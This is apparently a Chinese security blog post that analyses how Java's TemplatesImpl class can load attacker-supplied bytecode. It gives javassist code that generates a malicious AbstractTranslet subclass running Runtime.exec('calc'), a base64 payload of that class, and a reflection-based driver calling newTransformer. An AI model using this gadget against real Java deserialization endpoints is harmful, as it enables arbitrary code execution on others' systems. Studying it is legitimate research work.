WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

Javaweb

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

PWN

CTF

heap

其它

关于博客

面试

杂谈

TemplatesImpl利用分析

0x01 恶意字节码的生成

Java中的ClassLoader类中defineClass方法可以加载字节码,可是ClassLoader是一个抽象类,需要有子类来继承

如果Java有自带的类是该类的子类,那么就可以在反序列化的时候用该类来加载字节码来达到任意代码执行

这样灵活性比直接执行命令更大

TemplatesImpl类中的内部类TransletClassLoader就继承了ClassLoader,实现了defineClass方法

下面来看看是怎么使用的

因为是加载字节码,所以现根据上一篇文章javassist来写一个可以利用的字节码文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import javassist.*;

import java.util.Base64;

public class evilJavassist {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("evil");
//这个恶意类的父类必须为AbstractTranslet
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
//把静态代码块写上想执行的java代码,在实例化时直接执行,这里就先弹计算器了
ctClass.makeClassInitializer().setBody("{Runtime runtime = Runtime.getRuntime();\n" +
"runtime.exec(\"calc\");}");
//写构造方法
CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass);
ctConstructor.setBody("{}");
ctClass.addConstructor(ctConstructor);

//transform在AbstractTranslet类
CtMethod ctMethod1 = new CtMethod(CtClass.voidType, "transform", new CtClass[]{pool.get("com.sun.org.apache.xalan.internal.xsltc.DOM"), pool.get("com.sun.org.apache.xml.internal.dtm.DTMAxisIterator"), pool.get("com.sun.org.apache.xml.internal.serializer.SerializationHandler")},ctClass);
//只需要实现抽象方法,所以内容不写
ctMethod1.setBody("{}");
//添加抽象方法
ctClass.addMethod(ctMethod1);

//将生成的字节码转成byte数组
byte[] byteClass = ctClass.toBytecode();
//base64编码
String payload = Base64.getEncoder().encodeToString(byteClass);
//打印base64编码后的字节码
System.out.println(payload);
//保存字节码这可以不写,如果想看看字节码是什么样的就写下
ctClass.writeFile();
}
}

上面的代码生成的字节码内容是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class evil extends AbstractTranslet {
static {
Runtime var0 = Runtime.getRuntime();
var0.exec("calc");
}

public evil() {
}

public void transform(DOM var1, DTMAxisIterator var2, SerializationHandler var3) {
}
}

0x02 利用TemplatesImpl执行字节码

下面来看下TemplatesImpl是怎么加载字节码的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;

public class test {
public static void main(String[] args) throws Exception {
String src = "yv66vgAAADEAHAEABGV2aWwHAAEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwADAQAIPGNsaW5pdD4BAAMoKVYBAARDb2RlAQARamF2YS9sYW5nL1J1bnRpbWUHAAgBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAKAAsKAAkADAEABGNhbGMIAA4BAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAQABEKAAkAEgEABjxpbml0PgcAAwwAFAAGCgAVABYBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAKU291cmNlRmlsZQEACWV2aWwuamF2YQAhAAIABAAAAAAAAwAIAAUABgABAAcAAAAYAAIAAQAAAAy4AA1LKhIPtgATV7EAAAAAAAEAFAAGAAEABwAAABEAAQABAAAABSq3ABexAAAAAAABABgAGQABAAcAAAANAAAABAAAAAGxAAAAAAABABoAAAACABs=";
byte[] code = Base64.getDecoder().decode(src);
TemplatesImpl obj = new TemplatesImpl();

Field field_bytecodes = obj.getClass().getDeclaredField("_bytecodes");
field_bytecodes.setAccessible(true);
field_bytecodes.set(obj, new byte[][]{code});

Field field_name = obj.getClass().getDeclaredField("_name");
field_name.setAccessible(true);
field_name.set(obj, "aaa");

Field field_tfactory = obj.getClass().getDeclaredField("_tfactory");
field_tfactory.setAccessible(true);
field_tfactory.set(obj, new TransformerFactoryImpl());

obj.newTransformer();
}
}

运行弹出计算器说明字节码没有问题,下面来分析一下TemplatesImpl怎么加载字节码的

首先将字节码解码

然后实例化TemplatesImpl类

使用反射修改三个属性

最后调用了类中的newTransformer方法执行了字节码弹出计算器

newTransformer

直接看第二行调用了getTransletInstance()方法

getTransletInstance

首先判断_name属性是否为null,如果为null直接返回

这是使用反射修改_name的原因

接下来检查_class是否为null如果为null则调用defineTransletClasses()方法

下面来看defineTransletClasses()方法

defineTransletClasses

因为该方法是利用的主要方法,所以不截图直接复制代码下来分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
private void defineTransletClasses()
throws TransformerConfigurationException {

//判断_bytecodes是否为null,为null直接报错,所以反射修改了_bytecodes的值,至于修改成什么值继续往下看
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

//AccessController.doPrivileged方法往下追就是native层的了,能力实在不够就分析这个方法了
//搜索了一下发现就是特权执行,好像可以无视权限检查
//PrivilegedAction是接口,里面只有run方法,这里使用匿名内部类的写法,所以直接new了接口,这里不细说详细可以看文末的文章
//PrivilegedAction接口里面只有只有一个run方法,所以这里直接重写了
//AccessController.doPrivileged方法就简单理解成能调用PrivilegedAction接口的run方法的方法
//然后看run方法中写了什么
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

//new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
//把这行拿出来看一下
//实例化了TransletClassLoader类

第一个参数ObjectFactory.findClassLoader(),该方法里面的代码不是关键,简单的说就是找到了ObjectFactory的加载器

ObjectFactory是个普通的类,所以肯定是AppClassLoader加载的,这里涉及到一些ClassLoader的知识,相关知识点也放到末尾的文章里

所以第一个参数就是AppClassLoader对象

第二个参数_tfactory.getExternalExtensionsMap()

_tfactory也是通过反射修改的属性,很显然这里调用了一个方法,如果这个方法不执行成功程序到这步就会终止了,看一下_tfactory定义的类型是TransformerFactoryImpl,getExternalExtensionsMap也是该类的方法,所以反射将_tfactory内容改为TransformerFactoryImpl对象

参数看好了来看TransletClassLoader类的构造方法

1
2
3
4
TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}

没什么特别的super调用父类构造方法可能是用来检查是否重复加载了相同的类

再回到上面的代码调用完之后返回了变量名为loader的TransletClassLoader对象

继续看下面的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
try {
//得到_bytecodes的长度,_bytecodes用反射修改成值为new byte[][]{code},byte[]数组里面只有一个数组,所以这里长度是1
final int classCount = _bytecodes.length;
//创建Class类型的数组,根据上面得到的长度来指定该数组的长度,存到_class中
_class = new Class[classCount];
//如果classCount值大于1创建HashMap写入_auxClasses,这里等于1所以不会走到
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
//循环遍历_class数组
for (int i = 0; i < classCount; i++) {
//将_bytecodes的第一个数组取出里面是恶意字节码,使用defineClass加载为Class对象存入_class数组里
_class[i] = loader.defineClass(_bytecodes[i]);
//取得到Class类的父类,也就是恶意字节码的父类
final Class superClass = _class[i].getSuperclass();

//检查该父类的名称是否为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
//这里的ABSTRACT_TRANSLET是宏定义等于com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
//如果com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet为父类则将i存入_transletIndex
//这也是恶意类为什么要继承AbstractTranslet类的原因
_transletIndex = i;
}
else {
//是别的类则将类名和Class类存到HashMap
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

//如果_transletIndex<0报错
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
//异常处理先不看了
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

该方法执行后返回getTransletInstance方法

1
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

这里_class为Class数组里面存放着恶意字节码的Class对象,_transletIndex为I也就是0

相当于把_class的的0元素也就是恶意类取出然后实例化后强制转换为AbstractTranslet类存入translet,有了前面的判断,在_class[_transletIndex]里面的Class类必然是AbstractTranslet的子类

最后调用newInstance实例化,触发静态代码块方法实现任意代码执行

整理一下方法的调用过程是这样的

1
2
3
4
TemplatesImpl#newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses()
TransletClassLoader#defineClass()

当然再找到一个调用了上面前2种方法的方法就可以找到一种新的加载字节码的方法

因为最后需要在getTransletInstance方法实例化

getOutputProperties

这些都是大佬们整理好的

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

可以看到该方法调用了newTransformer方法,然后再调用getOutputProperties方法

这方法作用是什么不重要,因为调用了newTransformer所以也能加载字节码

流程是完全一样的所以就不重复分析了

调用过程如下

1
2
3
4
5
TemplatesImpl#getOutputProperties()
TemplatesImpl#newTransformer()
TemplatesImpl#getTransletInstance()
TemplatesImpl#defineTransletClasses()
TransletClassLoader#defineClass()

0x03 参考

https://zhuanlan.zhihu.com/p/72066969

https://www.cnblogs.com/sunpengblog/p/10474739.html